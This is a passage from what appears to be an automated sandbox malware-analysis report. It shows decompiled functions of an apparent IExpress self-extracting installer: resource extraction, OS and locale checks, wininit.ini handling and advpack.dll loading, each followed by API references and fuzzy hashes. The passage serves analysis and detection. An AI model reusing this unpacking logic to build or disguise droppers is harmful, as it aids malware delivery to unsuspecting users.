						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0xf3a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E00F3171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00F36CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00f36298
0x00f362a0
0x00f362a7
0x00f362ad
0x00f362af
0x00f362bb
0x00f362c3
0x00f362c4
0x00f3633b
0x00f3633b
0x00f36345
0x00f3634d
0x00000000
0x00000000
0x00f362da
0x00f362de
0x00f3635f
0x00f36369
0x00f362e0
0x00f362e0
0x00f362e0
0x00f362e3
0x00f362e5
0x00f362e5
0x00f362e8
0x00f362e8
0x00f362ea
0x00f362eb
0x00f362ef
0x00f362f1
0x00f362f3
0x00f36302
0x00f36308
0x00f3630d
0x00f36314
0x00f36314
0x00f36316
0x00f36319
0x00f36355
0x00f36357
0x00f3631b
0x00f3631b
0x00f36331
0x00f36334
0x00f36339
0x00000000
0x00f36339
0x00f36319
0x00f3636b
0x00f3637d
0x00f3637d
0x00000000

APIs

Part of subcall function 00F3171E: _vsnprintf.MSVCRT ref: 00F31750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,00F351CA,00000004,00000024,00F32F71,?,00000002,00000000), ref: 00F362CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F351CA,00000004,00000024,00F32F71,?,00000002,00000000), ref: 00F362D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F351CA,00000004,00000024,00F32F71,?,00000002,00000000), ref: 00F3631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00F36345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F351CA,00000004,00000024,00F32F71,?,00000002,00000000), ref: 00F36357

Strings

UPDFILE%lu, xrefs: 00F362B3, 00F36329

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: af4f895ed3716b29484c1c9bc1b51ca445d2886f5f69f129578b71184609b413
Instruction ID: 54a594ff12820faa4ed68e9f17a3e67d48ceea550d0b6636afafef6a8429eb37
Opcode Fuzzy Hash: af4f895ed3716b29484c1c9bc1b51ca445d2886f5f69f129578b71184609b413
Instruction Fuzzy Hash: 0C21F371A00219ABDB14AFA58C459BFBB79FF48730F044129F942E3241DB799D02ABE1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F3681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0xf38004; // 0xc69e30f7
				_v8 = _t19 ^ _t44;
				_t41 =  *0xf381d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0xf381d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0xf381d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0xf31140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E00F366F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0xf381d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E00F36CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x00f3681f
0x00f3682a
0x00f36831
0x00f36836
0x00f3683c
0x00f3683e
0x00f36848
0x00f36851
0x00f3685d
0x00f36864
0x00f36876
0x00f3693a
0x00f3693a
0x00f3687c
0x00f3687e
0x00f36885
0x00000000
0x00f368d6
0x00f368f4
0x00f36900
0x00f36902
0x00f3690a
0x00000000
0x00f3690c
0x00f3690c
0x00f3691c
0x00000000
0x00f3691e
0x00f36924
0x00f3692b
0x00f36932
0x00000000
0x00000000
0x00000000
0x00f3692b
0x00f3691c
0x00f3690a
0x00f36885
0x00f36876
0x00f36951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00F3686E
GetSystemMetrics.USER32(0000004A), ref: 00F368A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00F368CC
RegQueryValueExA.ADVAPI32(?,00F31140,00000000,?,?,0000000C), ref: 00F368F4
RegCloseKey.ADVAPI32(?), ref: 00F36902

Part of subcall function 00F366F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,00F3691A), ref: 00F36741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00F368C2

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 7b4a10b4ef156828bbef13222eacc72706cfd9e57fdf895a363449468f4cd6bd
Instruction ID: c0941e2a8b48279a07a137ca81030953e490e9f1eccd0641c4d286409e92a21f
Opcode Fuzzy Hash: 7b4a10b4ef156828bbef13222eacc72706cfd9e57fdf895a363449468f4cd6bd
Instruction Fuzzy Hash: E231DF71E01318AFDB21CB11CC04BAAB7B9FB41378F1040A5E949E2140CBB09E8AEF52

Uniqueness

Uniqueness Score: -1.00%

Function 00F33A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F33A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E00F3468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0xf38d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E00F3468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0xf38d4c, "<None>") == 0) {
							LocalFree( *0xf38d4c);
							L9:
							 *0xf39124 = 0;
							return 1;
						}
						_t9 = E00F36517(_t19, 0x7d1, 0, E00F33100, 0, 0);
						LocalFree( *0xf38d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0xf39124 = 0x800704c7;
						L2:
						return 0;
					}
					E00F344B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0xf38d4c);
					 *0xf39124 = 0x80070714;
					goto L2;
				}
				E00F344B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xf39124 = E00F36285();
				goto L2;
			}

0x00f33a46
0x00f33a57
0x00f33a5d
0x00f33a63
0x00f33a6a
0x00f33a91
0x00f33a9a
0x00f33ad8
0x00f33b13
0x00f33b19
0x00f33b1b
0x00000000
0x00f33b21
0x00f33ae7
0x00f33af4
0x00f33afc
0x00000000
0x00000000
0x00f33afe
0x00f33a87
0x00000000
0x00f33a87
0x00f33aa8
0x00f33ab3
0x00f33ab9
0x00000000
0x00f33ab9
0x00f33a78
0x00f33a82
0x00000000

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F32F64,?,00000002,00000000), ref: 00F33A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00F33AB3

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00F33AD0
LocalFree.KERNEL32 ref: 00F33B13

Part of subcall function 00F36517: FindResourceA.KERNEL32(00F30000,000007D6,00000005), ref: 00F3652A
Part of subcall function 00F36517: LoadResource.KERNEL32(00F30000,00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00F36538
Part of subcall function 00F36517: DialogBoxIndirectParamA.USER32(00F30000,00000000,00000547,00F319E0,00000000), ref: 00F36557
Part of subcall function 00F36517: FreeResource.KERNEL32(00000000,?,?,00F32EE8,00000000,00F319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00F36560

LocalFree.KERNEL32(00000000,00F33100,00000000,00000000), ref: 00F33AF4

Strings

<None>, xrefs: 00F33AC5
LICENSE, xrefs: 00F33A46

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 48751d0def6b250d4bf32361c10ebbe83bf791dbffb8e918e3ff7579db90b76b
Instruction ID: 8d3e9c16ae0aac068732ceb67fed223eb9d58b689dc18a62a7f14fc270a84ff6
Opcode Fuzzy Hash: 48751d0def6b250d4bf32361c10ebbe83bf791dbffb8e918e3ff7579db90b76b
Instruction Fuzzy Hash: B511B471600209ABD724EF329C09E1779ABEBD5770F10402EB981E71A1DEBDD801B621

Uniqueness

Uniqueness Score: -1.00%

Function 00F324E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F324E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0xf38004; // 0xc69e30f7
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E00F3658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00F36CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x00f324e0
0x00f324eb
0x00f324f2
0x00f324f7
0x00f32504
0x00f3250e
0x00f3251d
0x00f3252c
0x00f32541
0x00f32546
0x00f32553
0x00f32555
0x00f32555
0x00f32546
0x00f3256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00F32506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 00F3252C
_lopen.KERNEL32(?,00000040), ref: 00F3253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 00F3254C
_lclose.KERNEL32(00000000), ref: 00F32555

Strings

wininit.ini, xrefs: 00F32510

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: b704e4ac14373d97579a92b789ad3d5694c9a59a6bb6faa013639590bb80b3eb
Instruction ID: 276728ff0b5df38ef8724452d27a3ee160108d00da0abddf15bc1c4b8539bd05
Opcode Fuzzy Hash: b704e4ac14373d97579a92b789ad3d5694c9a59a6bb6faa013639590bb80b3eb
Instruction Fuzzy Hash: 7801B572A0011867C7609B669C0CEDF7B7DEB45771F000155FA89D3190DE748E45DA91

Uniqueness

Uniqueness Score: -1.00%

Function 00F336EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F336EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0xf38004; // 0xc69e30f7
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0xf38184 = 1;
						 *0xf38180 = 1;
						L13:
						 *0xf39a40 = _t119;
						L14:
						__eflags =  *0xf38a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00F32A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00F32A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0xf38a38 & 0x00000001;
											if(( *0xf38a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("lenta");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E00F3681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "lenta", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E00F367C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E00F328E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0xf39a40 = _t119;
						 *0xf38184 = 1;
						 *0xf38180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0xf39a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0xf38184 = _t135;
							 *0xf38180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E00F344B9(0, _t138);
					L66:
					return E00F36CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x00f336f9
0x00f33700
0x00f3370c
0x00f33716
0x00f33718
0x00f3371b
0x00f33721
0x00f3372b
0x00f3373d
0x00f33745
0x00f33746
0x00f33746
0x00f33749
0x00f337ab
0x00f337ad
0x00f337ae
0x00f337b3
0x00f337b8
0x00f337b8
0x00f337bf
0x00f337bf
0x00f337c5
0x00000000
0x00000000
0x00f337cb
0x00f337cd
0x00000000
0x00000000
0x00f337d5
0x00f337db
0x00f337e8
0x00f337ea
0x00f337ea
0x00f337ea
0x00f337f0
0x00f337f6
0x00f33805
0x00f33817
0x00f3382b
0x00f33830
0x00f33836
0x00f3383b
0x00f3383d
0x00f338eb
0x00f338eb
0x00f338f2
0x00f3390c
0x00f33911
0x00f33911
0x00f33913
0x00f3394d
0x00f3394d
0x00f3394f
0x00f338a9
0x00f338a9
0x00f338b0
0x00f338b2
0x00f338b9
0x00f338bb
0x00f338c1
0x00f33975
0x00f338c7
0x00f338de
0x00f338e0
0x00f338e0
0x00f3397b
0x00f3397d
0x00f339a9
0x00f3397f
0x00f33982
0x00f3398b
0x00f3398d
0x00f3398f
0x00f3399f
0x00f339a1
0x00f33991
0x00f33991
0x00f33991
0x00f3398f
0x00f339af
0x00f339b6
0x00f33a0f
0x00f33a0f
0x00f33a11
0x00f33a13
0x00f33a19
0x00000000
0x00f339b8
0x00f339b8
0x00f339ba
0x00000000
0x00000000
0x00f339bc
0x00f339bf
0x00000000
0x00000000
0x00f339c3
0x00f339c9
0x00f339ce
0x00f339d0
0x00f339e3
0x00f339e5
0x00f339e6
0x00f339f1
0x00f339f7
0x00f339fa
0x00f33a01
0x00f33a04
0x00000000
0x00000000
0x00f33a06
0x00f33a09
0x00f33a09
0x00f33a0b
0x00f33a0b
0x00000000
0x00f33a09
0x00f339fc
0x00000000
0x00f339fc
0x00f339d3
0x00f339d8
0x00f339da
0x00000000
0x00000000
0x00000000
0x00f339dc
0x00f339b6
0x00f33955
0x00f3395b
0x00000000
0x00000000
0x00f33961
0x00f33963
0x00000000
0x00000000
0x00f33969
0x00f33969
0x00000000
0x00f33969
0x00f33915
0x00f33915
0x00f3391b
0x00f3391f
0x00000000
0x00000000
0x00f3392d
0x00f33933
0x00f33938
0x00f3393a
0x00000000
0x00000000
0x00f33940
0x00f33946
0x00f3394b
0x00000000
0x00f3394b
0x00000000
0x00f338f2
0x00f33843
0x00f33845
0x00000000
0x00000000
0x00f3384b
0x00f3384d
0x00f33883
0x00f33885
0x00000000
0x00000000
0x00f3389a
0x00f3389e
0x00f3389e
0x00000000
0x00000000
0x00f338a0
0x00f338a0
0x00f338a2
0x00000000
0x00000000
0x00f338a4
0x00000000
0x00f338a4
0x00f3384f
0x00f33851
0x00f33857
0x00f3386e
0x00f33877
0x00f3387b
0x00000000
0x00000000
0x00000000
0x00f33881
0x00f33859
0x00f3385c
0x00f33862
0x00f33866
0x00000000
0x00000000
0x00f33868
0x00000000
0x00f338f4
0x00f338f4
0x00f338f5
0x00f338fb
0x00f33901
0x00f33901
0x00000000
0x00f3390a
0x00f3374b
0x00f3374e
0x00f3375c
0x00f33764
0x00f33769
0x00f3376e
0x00f33771
0x00f3379c
0x00f3379f
0x00000000
0x00000000
0x00f337a3
0x00f337a4
0x00000000
0x00f337a4
0x00f33773
0x00f33777
0x00f33778
0x00f3377f
0x00f33781
0x00f3378e
0x00f3378e
0x00f33794
0x00000000
0x00f33794
0x00f33783
0x00000000
0x00000000
0x00f33785
0x00f3378c
0x00000000
0x00000000
0x00000000
0x00f3378c
0x00f33750
0x00000000
0x00f3372d
0x00f3372d
0x00f3396b
0x00f3396b
0x00f3396c
0x00f3396e
0x00f3396f
0x00f33a1e
0x00f33a1e
0x00f33a22
0x00f33a27
0x00f33a3e
0x00f33a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00F33723
MessageBeep.USER32(00000000), ref: 00F339C3
MessageBoxA.USER32(00000000,00000000,lenta,00000030), ref: 00F339F1

Strings

3, xrefs: 00F33785
lenta, xrefs: 00F339E9, 00F33A19

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$lenta
API String ID: 2519184315-4216304122
Opcode ID: 222fc4df22aa049b28be34b9cee47756055c93810ef9f872ac3e15f06cadde51
Instruction ID: 54c7b949023c27d4679f8301858a043e199bb5daab8cb716f789737a87fe64dd
Opcode Fuzzy Hash: 222fc4df22aa049b28be34b9cee47756055c93810ef9f872ac3e15f06cadde51
Instruction Fuzzy Hash: FB91F472E062249BDB34CF15CC817AA77B2AB45334F1501A9E889DB251DB788F81FF41

Uniqueness

Uniqueness Score: -1.00%

Function 00F36495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00F36495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0xf38004; // 0xc69e30f7
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00F31781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
				_t26 = "advpack.dll";
				E00F3658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00F36CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00f36495
0x00f36495
0x00f364a0
0x00f364a7
0x00f364ab
0x00f364bd
0x00f364c2
0x00f364d3
0x00f364df
0x00f364e8
0x00f36502
0x00f364ee
0x00f364f9
0x00f364f9
0x00f36516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F364DF
